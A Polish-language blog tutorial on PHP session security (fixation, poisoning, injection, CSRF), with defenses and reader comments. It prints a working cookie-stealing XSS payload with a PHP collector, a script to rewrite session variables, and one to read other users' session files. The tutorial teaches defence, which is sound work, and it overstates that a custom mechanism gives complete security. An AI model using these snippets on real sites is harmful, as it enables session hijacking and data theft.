Bezpieczeństwo mechanizmu sesji
Czym są sesje?
Sesje są rozwiązaniem problemu bezstanowości protokołu HTTP, w którym żądania nie są ze sobą powiązane. Umożliwiają one identyfikacje żądań poszczególnych użytkowników za pomocą przekazania identyfikatora sesji. Jest on dołączany do każdej odpowiedzi serwera jako ciastko, ukryte pole w kodzie strony lub jako dodatkowy parametr adresu URL.
Fizycznie są to pliki tekstowe zawierające dane przypisane do konkretnych użytkowników.
login|s:7:"beldzio";haslo|s:5:"tajne";
Opis: Przykładowy plik sesji.
Niebezpieczeństwo sesji.
Ze względu na swoją naturę w sesji przechowywane są dane dotyczące konkretnego użytkownika. Mogą to być informacje o wybranej wersji językowej czy szablonie strony, mogą to być również wrażliwe dane takie jak loginy, hasła, dane osobowe.
Warto więc poznać niebezpieczeństwa czyhające na te dane.
Session fixation
Kluczowym elementem w działaniu mechanizmu sesji jest jej identyfikator. To dzięki niemu użytkownik ma dostęp do swojego pliku sesji. Z nim też wiąże się spory problem. Uzyskanie czyjegoś identyfikatora umożliwia dostęp do danych zapisanych w sesji.
Z racji trzymania identyfikatora po stronie użytkownika istnieje możliwość jego kradzieży, a przez to podszycie się pod jego właściciela. Dwie najbardziej popularne metody, a zarazem najprostsze do wykorzystania oraz zabezpieczenia to XSS oraz przekazanie adresu URL wraz ze zmienną sesyjną.
<script type="text/javascript"> document.write( "<img src='new.php?sesja="+document.cookie+"' />" ); </script> <?php file_put_contents( 'plik.txt', $_GET['sesja'] ); ?>
Opis: Zestaw skryptów JavaScript oraz PHP umożliwiający kradzież ciastek.
Aby zabezpieczyć się przez atakiem session fixation należy dokonać dwie czynności. Pierwszą z nich jest dopilnowanie, aby identyfikator sesji zawsze przekazywany był w ciasteczku, a nie jako element adresu. Możemy tego dokonać dodając w pliku pliku „:
session.use_only_cookies = 1
Jeśli nie mamy możliwości edycji pliku „ powyższą zmianę możemy dokonać za pośrednictwem pliku .htaccess umieszczając w nim dwie linijki:
php_value session.use_only_cookies 1 php_value session.use_trans_sid 0
Drugim zabezpieczeniem jest wygenerowanie nowego identyfikatora sesji z każdym wykonaniem skryptu – zmniejsza to możliwość podszycia się pod użytkownika gdy nastąpi kradzież identyfikatora. Służy do tego funkcja
session_regenerate_id( );
Session poisoning
(inne nazwy to: session data pollution oraz session modification)
Skutecznie przeprowadzony atak session poisoning skutkuje możliwością modyfikacji danych znajdujących się w sesji agresora. Może on tego dokonać dwojako.
Pierwszym sposobem jest wykorzystanie błędu braku filtrowania danych płynących od użytkownika, które są umieszczane w sesji.
Do wykonania drugiego sposobu wymagana jest możliwość wgrania plików w ramach tego samego konta co atakowany system. Posiadając taką możliwość możemy na serwerze umieścić plik, którego zadaniem będzie wyświetlenie aktualnych wartości sesji oraz umożliwienie ich modyfikacji.
<?php session_start( ); echo '<pre>'; print_r( $_SESSION); echo '</pre>'; if( $_GET['nazwa'] ) $_SESSION[$_GET['nazwa']] = $_GET['wartosc']; ?>
Opis: Kod umożliwiający manipulację zmiennymi sesyjnymi.
Wykorzystując powyższy kod możemy zmienić np. typ użytkownika na administratora etc.
Session injection
Posiadając konto wirtualne u jednego z providerów hostingowych dzielimy zasoby serwera z innymi użytkownikami. W skład tych zasobów wchodzą między innymi pliki. O ile dostępu do plików na naszym koncie chronią poprawnie ustawione uprawnienia dostępu, o tyle sytuacja taka nie zawsze ma miejsce jeśli chodzi o katalog z plikami sesji. Niepoprawnie skonfigurowany serwer może dać nam możliwość nie tylko podglądu ale i modyfikacji plików sesji. Warto zauważyć, że zawartość tych plików nie jest w żadnej sposób szyfrowana.
<?php if( $_GET['plik'] ) { $plik = ini_get( 'session.save_path' ) . '/' . $_GET['plik'] ); die( file_get_contents( $plik ); } foreach ( glob( ini_get( 'session.save_path' ) . '/*' ) as $plik ) { echo $plik . 'size ' . filesize( $plik ) . '<br />'; } ?>
Opis: Kod umożliwiający listowanie oraz podgląd plików sesji.
Sposobem na zabezpieczenie się przed podglądem pliku sesji jest zmiana katalogu, w którym będą one przechowywane. Możemy tego dokonać korzystając z funkcji
session_save_path( );
Należy pamiętań, aby katalog z plikami sesji nie był publicznie dostępny dlatego powinien znajdować się powyżej katalogu public_html.
Session riding
(inne nazwy to: cross-site request forgery – CSRF, one click attack, session hijacking)
Celem ataku session riding jest wykonanie złośliwego kodu z uprawnieniami zalogowanego użytkownika. Może to doprowadzić do kradzieży danych użytkownika, zamówienie przez niego jakiegoś produktu (w przypadku sklepu), lub w przypadku wykonania kodu przez administratora „dostęp” do panelu administratora.
Zabezpieczenie przed CSRF może wydawać się trudne lecz istnieje kilka sposobów by tego dokonać. Dwa najciekawsze opierają się na tokenach, czyli losowo wygenerowanych ciągach znaków.
Zasada działania pierwszego sposobu opiera się na umieszczeniu dodatkowe pola w każdym znaczącym formularzu. W polu tym będzie znajdował się wygenerowany token, który po wysłaniu formularza będzie sprawdzany z tokenem zapisanym np. w sesji.
Drugi sposób jest „bardziej skomplikowany”, a wraz z tym lepszy. Polega on na stworzeniu „tablicy routingu”. Mianowicie chodzi o tabelkę w bazie danych która będzie zawierała w sobie zestawienie tokenów oraz prawdziwych adresów. Token powinien być generowany inny dla każdego użytkownika. Dzięki temu napastnik nie będzie w stanie wywołać akcji z uprawnieniami zalogowanego użytkownika.
http://www.sklep.pl/?producent=jakis&produkt=inny&akcja=kup http://www.sklep.pl/?token=djJa76ashHSB
Opis: Zmiana wyglądów adresów po użyciu „tablicy routingu”
Własny mechanizm obsługi sesji.
Sposobem na zabezpieczenie się przed problemami związanymi z natywną obsługą sesji jest stworzenie własnego systemu obsługi sesji. Największy nacisk powinien w niej zostać położony na sposób przechowywania danych oraz zarządzania identyfikatorem sesji.
Najbezpieczniejszym miejscem na przechowywania danych jest baza danych. Aby uzyskać do niej dostęp należy znać dane umożliwiające logowania lub wykonać atak typu SQL Injection. Ze względu na swoją naturę możemy pominąć pierwszy sposób. Drugi atak może zostać przeprowadzony tylko w przypadku błędnie napisanego kodu. Można więc zauważyć, że poprawnie napisany system oraz własny mechanizm sesji daje nam całkowite bezpieczeństwo.
Sposób generowania identyfikatora zależy już tylko od inwencji programisty piszącego ów mechanizm. Można się do tego posłużyć funkcjami generującymi losowe znaki oraz funkcjami hashującymi. Co ważne po każdym wygenerowaniu ID trzeba się upewnić, że jest ono unikalne i nie zostało już wcześniej przydzielone innemu użytkownikowi.
Wygenerowany identyfikator powinniśmy umieścić w cookies oraz dodać dodatkowe zabezpieczenie uniemożliwiające przeprowadzenie ataku session fixation. Może to być dodanie do bazy danych np. adresu IP, który wraz z identyfikatorem będzie jednoznacznie identyfikował użytkownika.
<?php class Session { private function createSession( ) { // utworzenie nowej sesji - // zapisanie nowego identyfikatora } public function destroySession( ) { // zniszczenie sesji - // usunięcie danych i id sesji } private function restoreSession( ) { // przywrócenie sesji - // pobranie danych sesji z bazy danych } private function saveSession( ) { // zapisanie sesji - // zapisanie danych do bazy } private function generateSID( ) { // wygenerowanie identyfikatora } private function isUnique( $sid ) { // sprawdzenie czy wygenerowany // identyfikator jest unikalny } public function __set( $name, $data ) { // utworzenie nowej zmiennej sesyjnej } public function __get( $data ) { // pobranie wartości zmiennej } public function removeOld( ) { // usunięcie wygasłych sesji } } ?>
Opis: Przykładowy schemat mechanizmu sesji.
W PHP istnieje możliwość podpięcia własnych funkcji zarządzania sesją pod natywną obsługę sesji. Służy do tego funkcja session_set_save_handler Oznacza to tyle, że odwołując się do superglobalnej tablicy sesji ($_SESSION) odwołujemy się niejawnie do naszych funkcji. Oprócz tego, że sposób ten jest wygodny jest również bezpieczny na zmiany w kodzie oraz w sposobie przechowywania danych.
Podsumowanie
Potrzeba przechowywania danych o użytkowniku narzucona jest w niemal każdej aplikacji internetowej. Mimo, że dane te trzymane są po stronie serwera należy dopilnować by były one odpowiednio zabezpieczone.
Artykuł ten miał za zadanie pokazanie jakie niebezpieczeństwo dla danych sesyjnych niesie niepoprawne korzystanie z mechanizmu sesji. Ukazuje on metody nieautoryzowanego dostępu do tych danych oraz sposoby jak je zabezpieczyć.
Tagi: CSRF, data pollution, hijacking, sesje, session fixation, session injection, session modification, session poisoning, session riding
Kategoria: Bezpieczeństwo, Bezpieczeństwo aplikacji internetowych
Coś Ci się pomyliło i nie wpisała nazwa pliku (dwa razy) do którego należy to wpisać ;-)
Dzięki :) dobrze wiedzieć, że ktoś to czyta ;-)
Bardzo fajny artykuł aż się miło czytało :-).
Nawet nie myślałem że takie zagrożenie może być w sesjach. Duże dzięki.
Dobrze, dobrze, a nazwy nie poprawiłeś :P.
<p>Jeśli nie mamy możliwości edycji pliku " powyższą zmianę możemy dokonać za pośrednictwem pliku .htaccess umieszczając w nim dwie linijki:</p>
he he ;-) właśnie wrzucałem jeszcze raz tekst i w pliku źródłowym nie zmieniłem he he thx ;-)
Artykuł fajny, ale jakbyś jeszcze zarzucił linkiem z jakimś mechanizmem sesji, z którego można by skorzystać zamiast tego wbudowanego w php :P
Pod koniec arta masz szkielet klasy do obsługi sesji, wystarczy wypełnić metody kodem i już :-) Jeśli Ci to nie odpowiada to zapoznaj się z obsługą sesji z popularnych frameworków i dostosuj ich kod do swoich wymagań.
Musze tu częściej zaglądać :)
Routing i tokeny chyba nie są dobrym mechanizmem obrony przed session riding. Zacznę od tokenów. Załóżmy, że użytkownik abuseowany jest zalogowany do aplikacji sklepu internetowego. Użytkownik wchodzi na stronę sklepu podmieniona przez złośliwego użytkownika lub administratora, lub nawet przez użytkownika forum z możliwością dodawania zewnętrznych plików. Strona zawiera znacznik <img src="http://aplikacja.atakujacego.org/atak-sr.php">. Wtedy URL zostaje odpalony i dostaje m.in plik Javascript zbudowany w technologii AJAX. Jeśli chronione są tylko niektóre strony czy formularze, wystarczy, żeby spreparowany GET w AJAX zaczynał od strony nie chronionej przez token, wtedy pobierze token dokładnie taki, jaki jest wymagany. Wtedy dla serwera sytuacja wygląda tak, jakby użytkownik miał otwarte dwie strony tego samego serwisu (np. newsy i forum). Z tych powodów niemożliwe jest odświeżanie tokena po każdym przejściu do kolejnej strony i jednocześnie akceptowanie tylko ostatniego tokena, bo w drugim oknie będzie wylogowany. Byłoby to trochę frustrujące, jeśli użytkownik rozmawia na chacie AJAXowym i jednocześnie pisze coś na forum i nagle z jednego go wyrzuca.
To samo z routingiem. Musiałby powstać zaawansowany system śledzący kolejne przejścia użytkownika i rozgałęziające jego adresy. Szczerze powiedziawszy nie widzę takiego systemu – szczególnie w obliczu tzw. Web 2.0 – aplikacji zakładającej identyfikację i interakcję użytkownika.
Moim zdaniem, system zabezpieczający wrażliwe części systemu przed session riding powinien zaczynać się od edukowania użytkowników i ograniczania im dostępu. Filtrowanie i przepisywanie znaczników też może mieć swoje efekty. Jednak najwrażliwsze części systemu powinny być zabezpieczone czymś, czego komputer nie potrafi odczytać (przynajmniej nie na tyle, żeby w miarę szybko odpowiedzieć) – czyli obrazkiem. Zabezpieczony i zamazany kod wyświetlony przez formularz potwierdzeniowy (sic!) musi być odczytany przez człowieka i człowiek musi podać jego zawartość. W ten sposób nie ma możliwości, aby bot zamówił nam niechciany komputer na przykład.
ad token: token nie jest generowany w każdym miejscu serwisu, a tylko na stronie kupna tak więc nie problemu z konfliktem tokenów ajax tu nic nie zdziała
ad routing: to samo co wyżej token routingu generowany jest za każdym razem jak user wchodzi w sekcje kupna czyli token = 12345 może wskazywać na ten sam produkt co token = 09876
ad ograniczenie dostępu: jakoś nie widzę możliwości ograniczenia możliwości kupna produktu userom w sklepie internetowym :-)
to w kwestii programisty leży kwestia zapewnienia userwi bezpieczeństwa na stronie
ad captcha: wyciągnięcie tokena z obrazków nie jest wcale takie trudne jak się wydaje, w necie jest pełno softu do tego. Captcha zapewnia tak długo bezpieczeństwo do póki nie powstanie dla niego OCR tak więc nie ma co liczyć na pełne bezpieczeństwo
swietny artykul i bardzo fajna strona, pozdrawiam !
Szukałem mechanizmu który ‚na pierwszej stronie’ generuje losowy id ale jest odporny na odświeżanie , coż znalazłem coś co mnie skłania do dalszych eksperymentów nad własnymi
mechanizmami :) Trafiasz do Ulubionych :)
pozdrawiam
Artykuł dobry. Dzięki za podzielenie się wiedzą.
ciekawie napisane, spora dawka informacji w jednym miejscu
właśnie walczę ze e-sklepem i już przed przeczytaniem artu wpadł mi do głowy podobny system zabezpieczenia (token) przed botami, pozdro!
No dobra wszystko jasne tylko mam pytanie jak osoba z poza mojego serweru nie mająca do niego dostępu może wykonać na nim plik php?(tak jestem laikiem:P)
Wszystko zależy od serwisu i od podatności jakie przejawia. Na blogu jest kilka notek zahaczających o tematykę wgrywania swoich plików. Np.
http://www.beldzio.com/obsluga-plikow-a-sql-injection
http://www.beldzio.com/kategoria/bezpieczenstwo/upload-bezpieczenstwo